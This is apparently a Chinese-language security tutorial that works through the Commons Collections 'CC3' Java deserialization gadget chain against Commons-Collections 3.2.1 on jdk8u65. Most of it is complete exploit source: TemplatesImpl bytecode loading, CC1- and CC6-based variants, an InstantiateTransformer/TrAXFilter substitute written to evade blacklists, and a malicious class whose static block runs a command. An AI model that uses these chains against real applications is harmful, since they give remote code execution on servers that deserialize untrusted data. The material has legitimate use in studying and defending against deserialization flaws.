前言
前面的CC1与CC6链都是通过 Runtime.exec() 进行命令执行的。当服务器的代码将 Runtime放入黑名单的时候就不能使用了。
CC3链的好处是通过动态加载类的机制实现恶意类代码执行。
版本限制
- jdk8u65
- Commons-Collections 3.2.1
动态类加载
- loadClass -> 负责加载
- loadClass会调用defineClass
- defineClass从字节里加载一个类
我们的目的是执行代码的，但是只做类加载是不会执行代码的，我们还需要一个初始化的地方。
CC3链分析
通过defineClass向上寻找尾链
调用defineClass方法需要找到一个重写它的一个方法。
右键点击Alt +7 寻找调用defineClass的方法
继续寻找函数
然后来到这里
在这个方法很明显是实例化的，走完这个函数相当于动态的执行我们想要的代码了。主要是这个函数是私有的，所以需要继续跟进这个函数寻找
可以发现是公共成员，newTransformer方法可以调用之前的私有成员的方法
构造链:
TemplatesImpl.newTransformer()
-->
defineClass->newInstance
TemplatesImpl类利用
为了可以调用这个类的newTransformer方法
构造构造exp代码:
TemplatesImpl templates = new TemplatesImpl();
//最后执行完上面的全部代码才用到templates.newTransformer();
因为我们的类加载执行代码主要是靠这个 getTransletInstance方法，返回看一下。
可以看见第一个if 返回null不是我们需要的，我们需要进去的是第二个if判断才能执行命令
从而构造exp的部分代码：
Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");
因为要用到这个方法，点进去看一下
可以看见只要 _bytecodes变量不为null，就会去到下面的代码段
点进去 _bytecodes 变量发现是 byte二维数组 ，二维数组里面包含的值是一维数组
从而构造exp部分构造代码：
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("X:\\恶意的字节码文件"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
同时发现 _tfactory 是变量，点进去发现这个变量被声明为 transient
- 之前写过的文章说过在Java中当一个变量被声明为transient时，它表示该变量不参与序列化过程
在readObject()方法中，可以对transient变量的自定义控制和初始化，我们搜索一下readObject方法
可以发现 _tfactory 的默认值是 “new TransformerFactoryImpl()”，从而我们构造exp的部分代码：
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
构造利用TemplatesImpl类的exp完整代码：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.Transformer;
import java.awt.event.ItemListener;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}
}
动态类加载命令执行出现的问题
构造一个静态代码块，命令执行计算器：
import java.io.IOException;public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}然后编译成 .class字节码文件
正常来说我们运行exp代码会弹窗，但是报错提示出现了空指针错误
来到393行进行断点调试
一直按F8断点调试来到这里，可以看见前面的类加载成功了。
这个代码的主要意思是：
- 获取这个加载类的类名，如果类包含 AbstractTranslet这个类，就会来到下面的else代码段，所以我们才显示空指针。
我们可以让加载的类继承AbstractTranslet这个类就好了，继承类之后还要重写方法，最后变成以下代码：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}重写编译成字节码文件，最后运行exp代码，可以看见命令执行成功
现在已经完成了一半条链了。
CC3链=CC1前半段链+Templateslmpl类利用链
实际上链子的完整利用前半段一样只是后半段不一样
CC1链唯一修改的地方是这里：
Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.awt.event.ItemListener;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());// templates.newTransformer();org.apache.commons.collections.Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(1);}
}
可以看见命令执行成功
最后直接放入剩下的CC1前半链
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.awt.event.ItemListener;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());// templates.newTransformer();org.apache.commons.collections.Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true);//转InvocationHandler类型是为了能够调用处理程序实现的接口InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);serialize(o);unserialize("ser.bin");}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
反序列化代码后命令执行成功
代替InvokerTransformer类链
当服务过滤了这个InvokerTransformer类的时候，我们可以选择其他类代替，作为链子的一部分。
我们可以寻找调用 newTransformer 方法的类的方法
可以看见这里调用了newTransformer()方法
但是由于 TrAXFilter 类并没有继承 序列化接口，所以它不能够进行序列化。需要 TrAXFilter 类的class才可以。
CC3的作者找到了一个 InstantiateTransformer 类的 transform方法。
- 第一个if判断传进来的参数是否是 Class类型
- 然后获取它的指定参数类型的构造器，然后调用它的构造方法
从而构造这个exp代码：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
运行后可以看见成功调用了 TrAXFilter类的 TrAXFilter方法，且命令执行成功
完整版exp代码：
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// instantiateTransformer.transform(TrAXFilter.class);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);Class<LazyMap> lazyMapClass = LazyMap.class;Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);aihConstructor.setAccessible(true);//转InvocationHandler类型是为了能够调用处理程序实现的接口InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);serialize(o);unserialize("ser.bin");}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
主要是修改了这段代码：
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};
实际上可以删除这段代码也可以运行，因为反序列化的时候readObject方法会自动复制_tfactory的变量都是一样的
Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());
最后运行代码，可以发现命令执行成功
CC6配合CC3的链
原理是CC6的：CC1+URLDNS反射，这里我们加到CC3里，也可以利用
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> c = templates.getClass();Field name = c.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = c.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = c.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());org.apache.commons.collections.Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// instantiateTransformer.transform(TrAXFilter.class);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);hashMap.put(tiedMapEntry,null);hashMap.remove(null);//也可以修改为lazymap，null改为任意字符都可以Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(hashMap);unserialize("ser.bin");}//序列化与反序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
总结
总的来说就是CC3通过字节码文件，动态类加载来进行命令执行，达到绕过服务器的黑名单的一条链。CC3链和CC1的区别只是后面不一样，一个是直接的通过类的方法命令执行，一个通过动态类的加载字节码文件执行命令。
